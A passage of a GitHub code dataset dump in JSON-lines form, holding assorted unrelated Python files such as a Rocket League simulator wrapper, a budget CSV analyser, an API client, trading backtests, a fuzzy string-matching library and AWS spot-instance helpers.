return\n\n self.rendered = True\n rlviser.render_rlgym(self._prev_state)\n\n def close(self):\n if self.rendered:\n rlviser.quit()\n\n def update_settings(self, gravity=None, boost_consumption=None, tick_skip=None):\n \"\"\"\n Updates the specified RocketSim instance settings\n\n :param gravity: Scalar to be multiplied by in-game gravity. Default 1.\n :param boost_consumption: Scalar to be multiplied by default boost consumption rate. Default 1.\n :param tick_skip: Number of physics ticks the simulator will be advanced with the current controls before a\n `GameState` is returned at each call to `step()`.\n \"\"\"\n\n mutator_cfg = self._game.arena.get_mutator_config()\n if gravity is not None:\n mutator_cfg.gravity = rsim.Vec(0, 0, common_values.GRAVITY_Z*gravity)\n\n if boost_consumption is not None:\n mutator_cfg.boost_used_per_second = common_values.BOOST_CONSUMED_PER_SECOND*boost_consumption\n\n if tick_skip is not None:\n self._game.tick_skip = tick_skip\n self._match.tick_skip = tick_skip\n\n self._game.arena.set_mutator_config(mutator_cfg)\n","repo_name":"AechPro/rocket-league-gym-sim","sub_path":"rlgym_sim/gym.py","file_name":"gym.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"294709924","text":"# read in cvs file (steps taken from class activities)\nimport os\nimport csv\ncsvpath = r\"/Users/deliahellander/Documents/Data Science Bootcamp RU/RUT-SOM-DATA-PT-09-2020-U-C/01-Lesson-Plans/03-Python/python-challenge/PyBank/Resources/budget_data.csv\"\n\nwith open(csvpath, newline='') as csvfile:\n\n # CSV reader specifies delimiter and variable that holds contents\n csvreader = csv.reader(csvfile, delimiter=',')\n print(csvreader)\n\n # Read the header row first\n csv_header = next(csvreader)\n #print(f\"CSV Header: {csv_header}\")\n\n month = []\n profit = []\n # create lists for the columns from the csv\n for row in csvreader:\n month.append(row[0])\n profit.append(row[1])\n print(len(month))\n \n \n #finding net profit using map funtion to iterate\n profit_=map(int, profit)\n net_profit =(sum(profit_))\n print(net_profit)\n\n average_change = []\n\n #using i loop to find average change\n #Using length of profit list as end of range\n for i in range(len(profit)-1):\n #creating a new list for finding average change\n profit_change = int(profit[i+1]) - int(profit[i])\n average_change.append(profit_change)\n final_average_change = sum(average_change)/len(average_change)\n print(final_average_change)\n \n #using average change list to find the greatest increase/decrease amt & date\n greatest_profit_increase = max(average_change)\n greatest_profit_decrease = min(average_change)\n #assigning greatest increase/decrease with its month/row location\n greatest_profit_increase_date = average_change.index(max(average_change)) + 1\n greatest_profit_decrease_date = average_change.index(min(average_change)) + 1\n \n print(greatest_profit_increase)\n print(greatest_profit_decrease)\n print(greatest_profit_increase_date)\n print(greatest_profit_decrease_date)\n\n#Summary of Findings\nprint(\"Financial Analysis\")\nprint(\"----------------------------------------------------------\")\nprint(f\"Total Months: {len(month)}\")\nprint(f\"Total: $ {net_profit}\")\nprint(f\"Average Change: $ {round(final_average_change,2)}\")\nprint(f\"Greatest Increase in Profits: {month[greatest_profit_increase_date]} + (${greatest_profit_increase})\")\nprint(f\"Greatest Decrease in Profits: {month[greatest_profit_decrease_date]} + (${greatest_profit_decrease})\")\n\n#create an output csv with findings \n# Specify the file to write to\noutput_path = os.path.join(\"PyBankFindings.txt\")\n\n# Open the file using \"write\" mode. Specify the variable to hold the contents\nwith open(output_path, 'w') as file:\n\n # Write in rows\n file.write(\"Financial Analysis\")\n file.write(\"\\n\")\n file.write(\"-----------------------------------------\")\n file.write(\"\\n\")\n file.write(f\"Total Months: {len(month)}\")\n file.write(\"\\n\")\n file.write(f\"Total: $ {net_profit}\")\n file.write(\"\\n\")\n file.write(f\"Average Change: $ {round(final_average_change,2)}\")\n file.write(\"\\n\")\n file.write(f\"Greatest Increase in Profits: {month[greatest_profit_increase_date]} + (${greatest_profit_increase})\")\n file.write(\"\\n\")\n file.write(f\"Greatest Decrease in Profits: {month[greatest_profit_decrease_date]} + (${greatest_profit_decrease})\")\n file.write(\"\\n\")","repo_name":"deliahellander/python-challenge","sub_path":"python-challenge/PyBank/main.gyp","file_name":"main.gyp","file_ext":"gyp","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11014846748","text":"import requests\nimport logging\nimport json\n\n\nclass ApiClient:\n\n def __init__(self, cfg):\n self.cfg = cfg\n self.log = logging.getLogger(__name__)\n self.token = None\n self.timeout = 30\n\n def get_data(self, date):\n if not self.token:\n self.set_token()\n\n url = self.cfg[\"url\"] + self.cfg[\"endpoint\"]\n data = json.dumps({\"date\": date})\n headers = {\"content-type\": \"application/json\",\n \"Authorization\": f\"JWT {self.token}\"}\n\n r = requests.get(url, data=data, headers=headers, timeout=self.timeout)\n if r.status_code == 401:\n self.log.info(\"Token expired\")\n self.set_token()\n\n headers[\"Authorization\"] = f\"JWT {self.token}\"\n r = requests.get(url, data=data, headers=headers, timeout=self.timeout)\n\n r.raise_for_status()\n return(r.json())\n\n def set_token(self):\n r = requests.post(self.cfg[\"url\"] + self.cfg[\"auth_endpoint\"],\n data=json.dumps({\"username\": self.cfg[\"username\"],\n \"password\": self.cfg[\"password\"]}),\n headers={\"content-type\": \"application/json\"},\n timeout=self.timeout)\n\n r.raise_for_status()\n\n self.token = r.json()[\"access_token\"]\n self.log.debug(\"Generated new token:\" + self.token)\n","repo_name":"seeman512/data-engineering","sub_path":"4/dags/api_client.py","file_name":"api_client.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20316751144","text":"import pickle\nimport os\nos.system(\"cls\")\n\n'''\nDeveloped by HudsonProgramming\n - Layton Hudson\n\n 15:32 PM\n 05/12/2022\n'''\n\n# Variables \"x_pos\" & \"y_pos\" used to store x and y coordinates separately.\nx_pos = 0\ny_pos = 0\n\n# Variables \"last_x_pos\" & \"last_y_pos\" used to store previous x and y coordinates separately.\nlast_x_pos = x_pos\nlast_y_pos = y_pos\n\n# Creates an infinite loop\nwhile True:\n \n print( \"---------------------------------------------------------------\" )\n print( \"\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \" )\n print( \"---------------------------------------------------------------\\n\" )\n print( \"Current coordinates: [\",x_pos,\"/\",y_pos,\"]\" )\n print( \"Last coordinates: [\",last_x_pos,\"/\",last_y_pos,\"]\" )\n print( \"\\n---------------------------------------------------------------\" )\n print( \"\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \" )\n print( \"---------------------------------------------------------------\\n\" )\n print(\"You can currently travel:\\n> North ( N )\\n> East ( E )\\n> South ( S )\\n> West ( W )\\n\")\n\n # Stores user input as \"user_option\"\n user_option = input(\"> \")\n # Used to create a break in the lines ( Note \\n can also be used to break lines )\n print(\"\")\n\n # IF USER CHOOSES NORTH\n if user_option == \"n\":\n\n print(\"You travel North ( N )\")\n\n # Used to get the last coordinates\n last_x_pos = x_pos\n last_y_pos = y_pos\n\n # Updates current Y coordinate\n y_pos = y_pos + 1\n\n # IF USER CHOOSES EAST \n elif user_option == \"e\":\n\n print(\"You travel East ( E )\")\n\n # Used to get the last coordinates\n last_x_pos = x_pos\n last_y_pos = y_pos\n\n # Updates current X coordinate\n x_pos = x_pos + 1\n\n # IF USER CHOOSES SOUTH \n elif user_option == \"s\":\n\n print(\"You travel South ( S )\")\n\n # Used to get the last coordinates\n last_x_pos = x_pos\n last_y_pos = y_pos\n\n # Updates current Y coordinate\n y_pos = y_pos - 1\n\n # IF USER CHOOSES WEST\n elif user_option == \"w\":\n\n print(\"You travel West ( W )\")\n\n # Used to get the last coordinates\n last_x_pos = x_pos\n last_y_pos = y_pos\n\n # Updates current X coordinate\n x_pos = x_pos - 1\n\n # IF USER CHOOSES AN OPTION OTHER THAN STATED\n else:\n print(\"> Please enter a valid command\")\n \n \n \n","repo_name":"HudsonProgramming/Python-Games","sub_path":"Post Apocalyptic Survival/Navigation/Versions/navigation_01.py","file_name":"navigation_01.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34618997007","text":"from src.pages.distributor.distributor_portal_page import DistributorPortalPage\nfrom src.resources.locator import Locator\nfrom src.api.distributor.warehouse_api import WarehouseApi\n\nclass WarehousesPage(DistributorPortalPage):\n warehouse_body = {\n \"name\": None,\n \"number\": None,\n \"address.line1\": None,\n \"address.line2\": None,\n \"address.city\": None,\n \"address.zipCode\": None,\n \"state\": None,\n \"contactEmail\": None,\n \"invoiceEmail\": None,\n \"timezone\": None\n }\n\n def create_warehouse(self, warehouse_body):\n wa = WarehouseApi(self.context)\n start_number_of_rows = wa.get_warehouses()[\"totalElements\"]\n self.click_id(Locator.id_add_button)\n self.select_in_dropdown(Locator.xpath_dropdown_in_dialog(1), warehouse_body.pop(\"state\"))\n self.select_in_dropdown(Locator.xpath_dropdown_in_dialog(2), warehouse_body.pop(\"timezone\"))\n for field in warehouse_body.keys():\n self.input_by_name(field, warehouse_body[field])\n self.click_xpath(Locator.xpath_submit_button)\n self.dialog_should_not_be_visible()\n self.last_page(10)\n self.get_element_by_xpath(Locator.xpath_get_row_by_index(start_number_of_rows%10))\n\n def check_last_warehouse(self, warehouse_body):\n table_cells = {\n \"Warehouse name\": warehouse_body[\"name\"],\n \"Warehouse number\": warehouse_body[\"number\"],\n \"Timezone\": warehouse_body[\"timezone\"],\n \"Warehouse address\": [warehouse_body[\"address.zipCode\"], warehouse_body[\"address.line1\"], warehouse_body[\"address.line2\"], warehouse_body[\"address.city\"]],\n \"Contact email\": warehouse_body[\"contactEmail\"],\n \"Invoice email\": warehouse_body[\"invoiceEmail\"]\n }\n for cell, value in table_cells.items():\n self.check_table_item(value, header=cell, last=True)\n\n def update_last_warehouse(self, warehouse_body):\n self.click_xpath(Locator.xpath_last_role_row+Locator.xpath_edit_button)\n self.select_in_dropdown(Locator.xpath_dropdown_in_dialog(1), warehouse_body.pop(\"state\"))\n self.select_in_dropdown(Locator.xpath_dropdown_in_dialog(2), warehouse_body.pop(\"timezone\"))\n for field in warehouse_body.keys():\n self.input_by_name(field, warehouse_body[field])\n self.click_xpath(Locator.xpath_submit_button)\n self.dialog_should_not_be_visible()\n\n def delete_last_warehouse(self, value):\n self.click_xpath(Locator.xpath_last_role_row+Locator.xpath_remove_button)\n self.delete_dialog_should_be_about(value)\n self.click_xpath(Locator.xpath_confirm_button)\n self.dialog_should_not_be_visible()\n","repo_name":"fisher1706/srx","sub_path":"src/pages/distributor/warehouses_page.py","file_name":"warehouses_page.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73117040833","text":"\"\"\"\nA module for implementing alacritty hooks.\n\"\"\"\n\n# built-in\nfrom pathlib import Path\nfrom typing import Any, Dict\n\n# third-party\nfrom userfs.build import run_process\nfrom userfs.config import ProjectSpecification\nfrom vcorelib.paths.context import in_dir\n\n# internal\nfrom hooks_common import is_local_bin, link_local_bin, local_bin\n\n\ndef post_fetch(\n root: Path,\n project: ProjectSpecification,\n _: Dict[str, Any],\n __: Dict[str, Any],\n) -> None:\n \"\"\"Project interaction.\"\"\"\n\n if is_local_bin(project.repository):\n return\n\n run_process(\n project.logger,\n [\"sudo\", \"apt-get\", \"install\", \"-y\", \"libfontconfig1-dev\"],\n )\n\n loc = project.location(root=root)\n with in_dir(loc):\n run_process(project.logger, [\"cargo\", \"build\", \"--release\"])\n link_local_bin(loc.joinpath(\"target\", \"release\", project.repository))\n\n run_process(\n project.logger,\n [\n \"sudo\",\n \"update-alternatives\",\n \"--install\",\n \"/usr/bin/x-terminal-emulator\",\n \"x-terminal-emulator\",\n str(local_bin(project.repository)),\n \"1\",\n ],\n )\n run_process(\n project.logger,\n [\"sudo\", \"update-alternatives\", \"--config\", \"x-terminal-emulator\"],\n )\n","repo_name":"project-81/workspace","sub_path":"hooks/alacritty_hooks.py","file_name":"alacritty_hooks.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3812858766","text":"# coding=utf-8\nfrom HTMLTestRunner import HTMLTestRunner\nfrom test.case.player.Testplayer_add import *\nimport time\nif __name__ == '__main__':\n suite = unittest.TestSuite(unittest.makeSuite(TestPlayerAdd))\n now = time.strftime('%Y-%m-%d %H_%M_%S')\n filename = 'F:/location/产品测试/自动化测试/测试报告/'+ now +'test_playeradd.html'\n fp = open(filename,'wb')\n runner = HTMLTestRunner(\n stream=fp,\n title=\"excel运动员添加测试\",\n description=\"excel运动员添加自动化测试\")\n runner.run(suite)","repo_name":"rico-o/autoTest","sub_path":"report/Test_playerReport/Test_addReport.py","file_name":"Test_addReport.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17028877183","text":"from collections import defaultdict, deque\nfrom itertools import permutations, product\nfrom intcode import IntCodeComputer\n\n\n\"\"\"\nAll panels start as black\n\nProvide 0 if black, 1 if white\n\nTurn and then move\n\"\"\"\n\nUP, DOWN, LEFT, RIGHT = \"UP\", \"DOWN\", \"LEFT\", \"RIGHT\"\n\n# 0 --> turn left, 1 --> turn right\ndirection_change = {\n UP: [LEFT, RIGHT],\n DOWN: [RIGHT, LEFT],\n LEFT: [DOWN, UP],\n RIGHT: [UP, DOWN]\n}\n\nposition_change = {UP: [0, 1], DOWN: [0, -1], LEFT: [-1, 0], RIGHT: [1, 0]}\n\n\n# Paint cur, turn and then move\ndef aoc_day11(input_file):\n with open(input_file, \"r\") as f:\n input_program = [line.strip() for line in f][0]\n\n computer = IntCodeComputer(\n computer_id=1,\n input_program=input_program,\n )\n\n grid = defaultdict(int)\n painted = set()\n c_x, c_y, c_dir = 0, 0, UP\n\n # PART 2\n grid[(c_x, c_y)] = 1\n\n # PAINT\n computer.add_input(grid[(c_x, c_y)])\n computer.run()\n\n while True:\n if computer.has_halt:\n print(\"HALTED\")\n break\n\n if not computer.output_queue:\n print(\"Something went wrong\")\n break\n\n # PAINT\n paint_color = computer.output_queue.popleft()\n grid[(c_x, c_y)] = paint_color\n painted.add((c_x, c_y))\n\n # TURN\n turn_dir = computer.output_queue.popleft()\n\n # MOVE\n c_dir = direction_change[c_dir][turn_dir]\n c_x, c_y = (\n c_x + position_change[c_dir][0],\n c_y + position_change[c_dir][1],\n )\n\n # Supply input\n computer.add_input(grid[(c_x, c_y)])\n computer.run()\n\n min_x, max_x, min_y, max_y = 1000000, 0, 1000000, 0\n for x, y in painted:\n min_x = min(x, min_x)\n min_y = min(y, min_y)\n max_x = max(x, max_x)\n max_y = max(y, max_y)\n\n # Dumping the output\n for y in range(max_y, min_y - 1, -1):\n line_output = []\n for x in range(min_x, max_x + 1):\n c_pos = grid[(x, y)]\n if c_pos == 1:\n line_output.append(\"#\")\n else:\n line_output.append(\" \")\n print(\"\".join(line_output))\n\n return 0\n\n\ndef test_program():\n DAY = 11\n test_arr = [\n (\n (f\"{DAY}/aoc{DAY}.in1\", ),\n 8,\n ),\n ]\n\n for inp, expected in test_arr:\n actual = aoc_day11(*inp)\n\n if actual == expected:\n print(\"OK\")\n else:\n print(f\"ERROR: actual: {actual} expected: {expected}\")\n\n\ntest_program()\n","repo_name":"astraldawn/aoc2019","sub_path":"aoc11.py","file_name":"aoc11.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1635868602","text":"import vectorbt as vbt\nimport datetime as dt\nimport pandas as pd\nimport numpy as np\n\nend = dt.datetime.now()\nstart = end - dt.timedelta(days=5)\n\nprice = vbt.YFData.download(\n [\"XMR-USD\", \"NEO-USD\"],\n start=start,\n end=end,\n interval=\"1m\",\n missing_index=\"drop\").get(\"Close\")\n\n\ndef custom_indicator(close, rsi_window=14, ma_window=50, entry=34, exit=84):\n close_5m = close.resample(\"5T\").last()\n rsi = vbt.RSI.run(close=close_5m, window=rsi_window, short_name=\"rsi\").rsi\n rsi, _ = rsi.align(close,\n broadcast_axis=0,\n method='ffill',\n join='right')\n close = close.to_numpy()\n rsi = rsi.to_numpy()\n ma = vbt.MA.run(close=close, window=ma_window, short_name=\"ma\").ma.to_numpy()\n trend = np.where(rsi > exit, -1, 0)\n trend = np.where((rsi < entry) & (close < ma), 1, trend)\n return trend\n\n\nind = vbt.IndicatorFactory(\n class_name=\"Combination\",\n short_name=\"comb\",\n input_names=[\"close\"],\n param_names=[\"rsi_window\", \"ma_window\", \"entry\", \"exit\"],\n output_names=[\"value\"]\n).from_apply_func(\n custom_indicator,\n rsi_window=14,\n ma_window=50,\n entry=34,\n exit=84,\n keep_pd=True)\n\nresult = ind.run(price,\n rsi_window=np.arange(10, 40, step=3, dtype=int),\n # ma_window=np.arange(10, 200, step=20, dtype=int),\n entry=np.arange(10, 40, step=4, dtype=int),\n exit=np.arange(60, 85, step=4, dtype=int),\n param_product=True)\n\n# print(result.value.to_string())\n\nentries = result.value == 1.0\nexits = result.value == -1.0\n\npf = vbt.Portfolio.from_signals(price, entries, exits)\n\n# print(pf.stats())\nreturns = pf.total_return()\n# returns = returns[returns.index.isin([\"XMR-USD\"], level=\"symbol\")]\n# returns = returns.groupby(level=[\"comb_exit\", \"comb_entry\", \"symbol\"]).mean()\n\nprint(returns.to_string())\nprint(returns.max())\nprint(returns.idxmax())\n#\n\n# fig = returns.vbt.heatmap(\n# x_level=\"comb_exit\",\n# y_level=\"comb_entry\",\n# slider_level=\"symbol\",\n# )\nfig = returns.vbt.volume(\n x_level=\"comb_exit\",\n y_level=\"comb_entry\",\n z_level=\"comb_rsi_window\",\n slider_level=\"symbol\",\n)\nfig.show()\n","repo_name":"narvere/vectorbt_study","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8038875603","text":"from typing import List, Tuple, Type\n\nfrom rapidfuzz.distance import Levenshtein, MatchingBlock\n\nfrom stringmatch.scorer import BaseScorer, LevenshteinScorer\nfrom stringmatch.strings import Strings\n\n\nclass Ratio:\n \"\"\"Contains functions for calculating the ratio of similarity between two strings.\"\"\"\n\n def __init__(\n self,\n *,\n scorer: Type[BaseScorer] = LevenshteinScorer,\n latinise: bool = False,\n ignore_case: bool = True,\n remove_punctuation: bool = False,\n alphanumeric: bool = False,\n include_partial: bool = False,\n ) -> None:\n \"\"\"Initialise the Ratio class with the correct parameters.\n\n Parameters\n ----------\n scorer : Type[BaseScorer], optional\n The scoring algorithm to use, by default LevenshteinScorer\n Available scorers: LevenshteinScorer, JaroScorer, JaroWinklerScorer.\n latinise : bool, optional\n If special unicode characters should be removed from the strings, by default False.\n ignore_case : bool, optional\n If the strings should be compared ignoring case, by default True.\n remove_punctuation : bool, optional\n If punctuation should be removed from the strings, by default False.\n alphanumeric : bool, optional\n If the strings should only be compared by their latin letters, by default False.\n include_partial : bool, optional\n If partial substring matches should be included, by default False.\n\n Returns\n -------\n Ratio\n The Ratio class.\n\n Examples\n --------\n >>> Ratio(latninise=True, scorer=JaroScorer, include_partial=True)\n \"\"\"\n self.scorer: Type[BaseScorer] = scorer\n self.latinise: bool = latinise\n self.ignore_case: bool = ignore_case\n self.remove_punctuation: bool = remove_punctuation\n self.alphanumeric: bool = alphanumeric\n self.include_partial: bool = include_partial\n\n def _prepare_strings(self, string1: str, string2: str) -> Tuple[str, str]:\n \"\"\"Modifies the strings to be ready for comparison, according to the settings.\n Only meant for internal usage, but feel free to use it for something else.\n\n Parameters\n ----------\n string1 : str\n The first string to modify.\n string2 : str\n The second string to modify.\n\n Returns\n -------\n Tuple[str, str]\n The two modified strings.\n\n Examples\n --------\n >>> _prepare_strings(\"stringmatch\", \"StrMatch\")\n ('stringmatch', 'strmatch')\n \"\"\"\n if self.latinise:\n string1, string2 = Strings().latinise(string1), Strings().latinise(string2)\n\n if self.ignore_case:\n string1, string2 = Strings().ignore_case(string1), Strings().ignore_case(\n string2\n )\n\n if self.remove_punctuation:\n string1, string2 = Strings().remove_punctuation(\n string1\n ), Strings().remove_punctuation(string2)\n\n if self.alphanumeric:\n string1, string2 = Strings().alphanumeric(string1), Strings().alphanumeric(\n string2\n )\n\n return (string1, string2)\n\n def ratio(self, string1: str, string2: str) -> int:\n \"\"\"Returns the similarity score between two strings.\n\n Parameters\n ----------\n string1 : str\n The first string to compare.\n string2 : str\n The second string to compare.\n\n Returns\n -------\n int\n The score between 0 and 100.\n\n Examples\n --------\n >>> ratio(\"stringmatch\", \"strmatch\")\n 84\n >>> ratio(\"stringmatch\", \"something completely different\")\n 34\n \"\"\"\n if self.include_partial:\n return self.partial_ratio(string1, string2)\n\n # If you happen to pass in a non-string we will just return 0 instead of raising an error.\n # Could happen if you have an incredibly large list of strings and something sneaks in i guess.\n if not all(isinstance(s, str) for s in [string1, string2]):\n return 0\n\n string1, string2 = self._prepare_strings(string1, string2)\n\n # If either string is empty after modifying we also wanna return 0.\n if not string1 or not string2:\n return 0\n\n return round(self.scorer().score(string1, string2))\n\n def ratio_list(self, string: str, string_list: List[str]) -> List[int]:\n \"\"\"Returns the similarity score between a string and a list of strings.\n\n Parameters\n ----------\n string : str\n The string to compare.\n string_list : List[str]\n The list of strings to compare to.\n\n Returns\n -------\n List[int]\n The scores between 0 and 100.\n\n Examples\n --------\n >>> ratio_list(\"stringmatch\", [\"strmatch\", \"something completely different\"])\n [84, 34]\n \"\"\"\n\n return [self.ratio(string, s) for s in string_list]\n\n def partial_ratio(self, string1: str, string2: str) -> int:\n \"\"\"Returns the similarity score between subsections of strings.\n\n Parameters\n ----------\n string1 : str\n The first string to compare.\n string2 : str\n The second string to compare.\n\n Returns\n -------\n int\n The score between 0 and 100.\n\n Examples\n --------\n >>> partial_ratio(\"test\", \"This is a test!\")\n 75\n >>> partial_ratio(\"word\", \"The word is in a really, really long string that is pretty different.\")\n 65\n \"\"\"\n if not all(isinstance(s, str) for s in [string1, string2]):\n return 0\n\n string1, string2 = self._prepare_strings(string1, string2)\n\n if not string1 or not string2:\n return 0\n\n if len(string1) >= len(string2):\n longer_string, shorter_string = string1, string2\n else:\n longer_string, shorter_string = string2, string1\n\n blocks: List[MatchingBlock] = [\n block\n for block in Levenshtein.editops(\n longer_string, shorter_string\n ).as_matching_blocks()\n # Doesn't make too much sense to me to match substrings with a length of 1,\n # except when they are at the start of a string, so we filter those out.\n if (block.size > 1 or (block.size == 1 and block.a == 0))\n ]\n\n # Gets the correct multiplier for the partial ratio.\n # The longer the strings are apart in length, the smaller the multiplier.\n diff: int = len(longer_string) - len(shorter_string)\n\n multiplier: float = 1.00\n\n if diff >= 20:\n # Since the default cutoff score is 70, this would not show up on default settings.\n multiplier = 0.65\n elif diff >= 10:\n multiplier = 0.75\n elif diff >= 4:\n multiplier = 0.85\n elif diff >= 1:\n # We want to reserve a score of 100 for perfect matches.\n multiplier = 0.95\n\n scores: List[int] = []\n\n for block in blocks:\n start: int = max((block.a - block.b), 0)\n substring: str = longer_string[start : start + len(shorter_string)]\n\n scores.append(\n round(\n self.scorer().score(\n substring,\n shorter_string,\n )\n * multiplier\n ),\n )\n\n # Also gets the \"normal score\" for both starting strings,\n # and returns whichever one is higher.\n scores.append(round(self.scorer().score(string1, string2)))\n\n return max(scores, default=0)\n","repo_name":"atomflunder/stringmatch","sub_path":"stringmatch/ratio.py","file_name":"ratio.py","file_ext":"py","file_size_in_byte":7872,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"29713841061","text":"class ExLockPrivAttrib():\n\n def __init__(self, var1):\n # notice _var1 is accessed via the var1 property setter\n self.var1 = var1 \n\n @property\n def var1(self):\n return self._var1\n\n @var1.setter\n def var1(self, newvar1):\n if not isinstance(newvar1, int):\n raise TypeError('Expected integer')\n self._var1 = newvar1\n\nif __name__ == '__main__':\n m = ExLockPrivAttrib(5)\n print(m.var1)\n m.var1 = 10\n print(m.var1)\n \n # private attrib is still accessible via dict \n print(m.__dict__)\n m.__dict__['_var1'] = 20\n print(m.__dict__['_var1'])\n # type error; exception!!!\n err = ExLockPrivAttrib(\"23\")\n ","repo_name":"gabepublic/python-examples","sub_path":"class/ExLockPrivAttrib.py","file_name":"ExLockPrivAttrib.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23545248851","text":"T = int(input())\nfor case in range(T):\n S = input()\n K = S.split(\" \")[1]\n S = list(S.split(\" \")[0])\n count = 0\n for pancake in range(len(S)):\n if(S[pancake] == '+'):\n continue\n for neighbor in range(int(K)):\n if (pancake+neighbor >= len(S)):\n count = -1\n break\n if(S[pancake+neighbor] == '-'):\n S[pancake+neighbor] = '+'\n else:\n S[pancake+neighbor] = '-'\n if (count == -1):\n break\n count += 1\n\n if (count == -1):\n count = \"IMPOSSIBLE\"\n \n print(\"Case #{}: {}\".format(case+1, count)) \n\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/3042.py","file_name":"3042.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22527489985","text":"#!/usr/bin/python\nimport sqlite3\nDATABASE = 'result/result.sqlite'\n\nstart_date = 1008\nend_date = 1010\nconn = sqlite3.connect(DATABASE)\nconn.execute('CREATE TABLE IF NOT EXISTS ping_result (time REAL, source TEXT, destination TEXT, latency REAL)')\n\nsources = []\nhosts_file = open(\"hosts.txt\")\nfor line in hosts_file:\n if line[0] != '#':\n sources.append(line.split('.')[0])\nhosts_file.close()\n \nfor date in range(start_date, end_date):\n for source in sources:\n source_file = open(\"result/%d/report_%d_%s.txt\" % (date, date, source))\n for line in source_file:\n query = 'INSERT INTO ping_result VALUES (?, ?, ?, ?)'\n (time, destination, latency) = line.split()\n if latency == \"+Inf\":\n latency = \"999999\"\n conn.execute(query, (time, source, destination, latency))\n source_file.close()\n conn.commit()\n\nconn.commit()\nconn.close()\n\n","repo_name":"eastzone/atpg","sub_path":"utils/deployment/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"61"} +{"seq_id":"29354419401","text":"import boto3\nfrom time import sleep\n\ndef check_existing():\n\tec2 = boto3.resource('ec2')\n\tec2.instances.filter(Filters=[{\n\t\t'Name' : 'instance-state-name',\n\t\t'Values' : ['running']\n\t}])\n\tfor i in response:\n\t\treturn False\n\treturn True\n\ndef setup_cluster(num_instances=1, machine_image='ami-12345678', key='dotpem', security_group_id='sg-12345678', instance_profile='arn:aws:iam::123456789012:instance-profile/sample'):\t\n\t\n\tec2 = boto3.client('ec2')\n\tid_set = set()\n\t\n\tfor i in range(num_instances):\n\t\tpre_USER_DATA = '''#!/bin/bash\n\t\tpython /home/ec2-user/quipc_tools/tracker.py ''' + str(i)\n\n\t\tUSER_DATA = b64encode(pre_USER_DATA)\t\t\n\t\tresponse = ec2.request_spot_instances(\n\t\t\tSpotPrice= '.02',\n\t\t\tInstanceCount=1,\n\t\t\tType='one-time',\n\t\t\tLaunchSpecification={\n\t\t\t\t'ImageId': machine_image,\n\t\t\t\t'InstanceType': 'm4.large',\n\t\t\t\t'KeyName' : key,\n\t\t\t\t'UserData': USER_DATA,\n\t\t\t\t'SecurityGroupIds' : [security_group_id],\n\t\t\t\t'IamInstanceProfile' : {\n\t\t\t\t\t'Arn' : instance_profile\n\t\t\t\t}\n\t\t\t}\n\t\t)\n\n\t\tresponse = response['SpotInstanceRequests']\n\t\tid_set.add(response[0]['InstanceId'])\n\n\tinstance_set = set()\n\twhile len(instance_set) < len(id_set):\n\t\tresponse = ec2.describe_spot_instance_requests(SpotInstanceRequestIds=list(id_set))\n\t\tresponse = response['SpotInstanceRequests']\n\t\tfor resp in response:\n\t\t\tstatus = resp['Status']['Code']\n\t\t\tif status == 'fulfilled':\n\t\t\t\tinstance_set.add(resp['InstanceId'])\n\t\tsleep(3)\n\treturn instance_set\n\ndef s3_upload(in_file_path, bucket='track-input'):\n\ts3 = boto3.client('s3')\n\ts3.upload_file(in_file_path,bucket,in_file_path.split('/')[:-1])\n\ndef s3_download(identifier, out_file_path, bucket='track-input'):\n\ts3 = boto3.client('s3')\n\ts3.download_file(BUCKET, identifier + '_out.trk', out_file_path)\n\ndef close_cluster(instance_set):\n\tec2 = boto3.client('ec2')\n\tresponse = client.terminate_instances(\n\t\tInstanceIds=list(instance_set)\n\t)\n\nif __name__ == \"__main__\":\n setup_cluster()","repo_name":"amitvakula/aws-dipy","sub_path":"aws_tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23399230271","text":"'''\nCreated on 26-Apr-2013\n\n@author: amit\n'''\n\nfrom __future__ import division\nimport math\n\n\ndef getNumberOfRings(f):\n r, t=f.readline().split(' ')\n r=int(r)\n t=int(t)\n totalringsguess=1\n needed=getPaintForNRings(totalringsguess, r)\n while(t-needed>=0):\n \n totalringsguess*=2\n needed=getPaintForNRings(totalringsguess, r)\n \n high=totalringsguess\n low=totalringsguess/2\n mid=math.floor((low+high)/2)\n diff=-1\n while(low<=high):\n \n mid=math.floor((low+high)/2)\n \n 